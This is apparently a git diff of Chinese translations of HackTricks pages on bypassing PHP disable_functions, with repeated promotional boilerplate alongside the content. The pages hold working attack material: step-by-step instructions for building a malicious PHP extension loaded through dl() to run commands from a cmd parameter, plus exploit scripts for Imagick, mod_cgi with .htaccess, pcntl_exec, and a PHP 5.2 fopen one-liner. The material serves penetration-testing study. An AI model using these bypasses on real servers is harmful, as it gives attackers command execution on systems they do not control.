* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) * [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
支持HackTricks的其他方式 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,57 +1,58 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**重要提示:** **重要说明:**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png) ![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** 是一个PHP函数可用于加载PHP扩展。如果该函数未被禁用可能会被滥用以**绕过`disable_functions`并执行任意命令**。\ **`dl`** 是一个 PHP 函数,可以用来加载 PHP 扩展。如果该函数没有被禁用,可能会被滥用来 **绕过 `disable_functions` 并执行任意命令**。\
但是,它有一些严格的限制: 然而,它有一些严格的限制:
* `dl`函数必须**存在**于**环境**中且**未被禁用** * `dl` 函数必须在 **环境中存在****未被禁用**
* PHP扩展必须**使用与服务器相同的主要版本**PHP API版本进行编译您可以在phpinfo的输出中查看此信息) * PHP 扩展 **必须与服务器使用的主版本相同**PHP API 版本)(您可以在 phpinfo 的输出中看到此信息)
* PHP扩展必须**位于**由**`extension_dir`**指令定义的**目录**中您可以在phpinfo的输出中看到。攻击者很难获得对此目录的写访问权限因此这个要求可能会阻止您滥用此技术。 * PHP 扩展必须位于 **`extension_dir`** 指令 **定义的目录中**(您可以在 phpinfo 的输出中看到它)。攻击者试图滥用服务器时,几乎不可能对该目录具有写入权限,因此此要求可能会阻止您滥用此技术。
**如果您符合这些要求,请继续阅读帖子** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **以了解如何绕过`disable_functions`**。以下是摘要: **如果您满足这些要求,请继续阅读帖子** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **以了解如何绕过 disable\_functions**。以下是摘要:
[dl函数](http://www.php.net/manual/en/function.dl.php)用于在脚本执行期间动态加载PHP扩展。PHP扩展通常用C/C++编写增强PHP的功能。攻击者注意到`dl`函数未被禁用后,决定创建一个自定义PHP扩展来执行系统命令。 [dl 函数](http://www.php.net/manual/en/function.dl.php) 用于在脚本执行期间动态加载 PHP 扩展。PHP 扩展通常用 C/C++ 编写,增强 PHP 的功能。攻击者注意到 `dl` 函数未被禁用后,决定创建一个自定义 PHP 扩展以执行系统命令。
### 攻击者采取的步骤: ### 攻击者采取的步骤:
1. **确定PHP版本** 1. **PHP 版本识别**
- 攻击者使用脚本(`<?php echo 'PHP Version is '.PHP_VERSION; ?>`确定PHP版本。 - 攻击者使用脚本(`<?php echo 'PHP Version is '.PHP_VERSION; ?>`)确定 PHP 版本。
2. **获取PHP源码** 2. **获取 PHP 码:**
- 从官方[PHP网站](http://www.php.net/downloads.php)或[存档](http://museum.php.net)如果版本较旧下载PHP源码 - 从官方 [PHP 网站](http://www.php.net/downloads.php) 或 [档案](http://museum.php.net) 下载 PHP 源代码(如果版本较旧)
3. **本地PHP设置** 3. **本地 PHP 设置:**
- 在其系统上提取和安装特定的PHP版本。 - 在其系统上提取并安装特定的 PHP 版本。
4. **创建扩展** 4. **扩展创建:**
- 学习[创建PHP扩展](http://www.php.net/manual/en/zend.creating.php)并检查PHP源代码。 - 研究 [创建 PHP 扩展](http://www.php.net/manual/en/zend.creating.php) 并检查 PHP 源代码。
- 专注于复制位于`ext/standard/exec.c`的[exec函数](http://www.php.net/manual/en/function.exec.php)的功能。 - 专注于复制位于 `ext/standard/exec.c` [exec 函数](http://www.php.net/manual/en/function.exec.php) 的功能。
### 编译自定义扩展的注意事项: ### 编译自定义扩展的注意事项:
1. **ZEND_MODULE_API_NO** 1. **ZEND_MODULE_API_NO**
- `bypass.c`中的`ZEND_MODULE_API_NO`必须与当前Zend Extension Build匹配通过以下命令获取: - `bypass.c` 中的 `ZEND_MODULE_API_NO` 必须与当前的 Zend 扩展构建匹配,可以通过以下命令获取:
```bash ```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
``` ```
2. **PHP_FUNCTION修改** 2. **PHP_FUNCTION 修改:**
- 对于最新的PHP版本5、7、8可能需要调整`PHP_FUNCTION(bypass_exec)`。提供的代码片段详细说明了此修改。 - 对于较新的 PHP 版本5、7、8`PHP_FUNCTION(bypass_exec)` 可能需要调整。提供的代码片段详细说明了此修改。
### 自定义扩展文件: ### 自定义扩展文件:
@ -60,47 +61,46 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr
- **php_bypass.h** - **php_bypass.h**
- 头文件,定义扩展属性。 - 头文件,定义扩展属性。
- **config.m4** - **config.m4**
- 由`phpize`用于为自定义扩展配置构建环境。 - 由 `phpize` 用于配置自定义扩展的构建环境。
### 构建扩展: ### 构建扩展:
1. **编译命令:** 1. **编译命令:**
- 使用`phpize``./configure`和`make`来编译扩展。 - 使用 `phpize`、`./configure` 和 `make` 编译扩展。
- 编译后的`bypass.so`然后位于modules子目录中。 - 生成的 `bypass.so` 位于模块子目录中。
2. **清理:** 2. **清理:**
- 编译后运行`make clean`和`phpize --clean`。 - 编译后运行 `make clean` `phpize --clean`
### 上传并在受害主机上执行: ### 在受害主机上上传和执行:
1. **版本兼容性:** 1. **版本兼容性:**
- 确保攻击者和受害者系统之间的PHP API版本匹配。 - 确保攻击者和受害者系统之间的 PHP API 版本匹配。
2. **加载扩展** 2. **扩展加载:**
- 利用`dl`函数,通过使用相对路径或脚本自动化该过程来规避限制。 - 利用 `dl` 函数,通过使用相对路径或脚本自动化该过程来规避限制。
3. **脚本执行:** 3. **脚本执行:**
- 攻击者将`bypass.so`和一个PHP脚本上传到受害者的服务器。 - 攻击者将 `bypass.so` 和一个 PHP 脚本上传到受害者的服务器。
- 脚本使用`dl_local`函数动态加载`bypass.so`,然后通过`cmd`查询参数传递命令调用`bypass_exec` - 脚本使用 `dl_local` 函数动态加载 `bypass.so`,然后调用 `bypass_exec`,并通过 `cmd` 查询参数传递命令。
### 命令执行: ### 命令执行:
- 攻击者现在可以通过访问以下方式执行命令`http://www.example.com/script.php?cmd=<command>` - 攻击者现在可以通过访问:`http://www.example.com/script.php?cmd=<command>` 执行命令。
此详细的操作流程概述了创建和部署 PHP 扩展以执行系统命令的过程,利用 `dl` 函数,理想情况下应禁用以防止此类安全漏洞。
这个详细的步骤概述了创建和部署PHP扩展以执行系统命令的过程利用了`dl`函数,理想情况下应禁用以防止此类安全漏洞。 {% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit # Imagick &lt;= 3.3.0 PHP &gt;= 5.4 漏洞利用
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
# Exploit Title: PHP Imagick disable_functions Bypass # Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04 # Date: 2016-05-04
@ -65,16 +66,17 @@ $thumb->destroy();
echo file_get_contents($data_file); echo file_get_contents($data_file);
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# mod\_cgi # mod\_cgi
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
// Only working with mod_cgi, writable dir and htaccess files enabled // Only working with mod_cgi, writable dir and htaccess files enabled
@ -55,16 +56,17 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
} }
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec # PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
$dir = '/var/tmp/'; $dir = '/var/tmp/';
@ -39,16 +40,17 @@ echo '不支持pcntl扩展';
} }
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,34 +1,36 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 5.2 - FOpen Exploit # PHP 5.2 - FOpen 漏洞
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
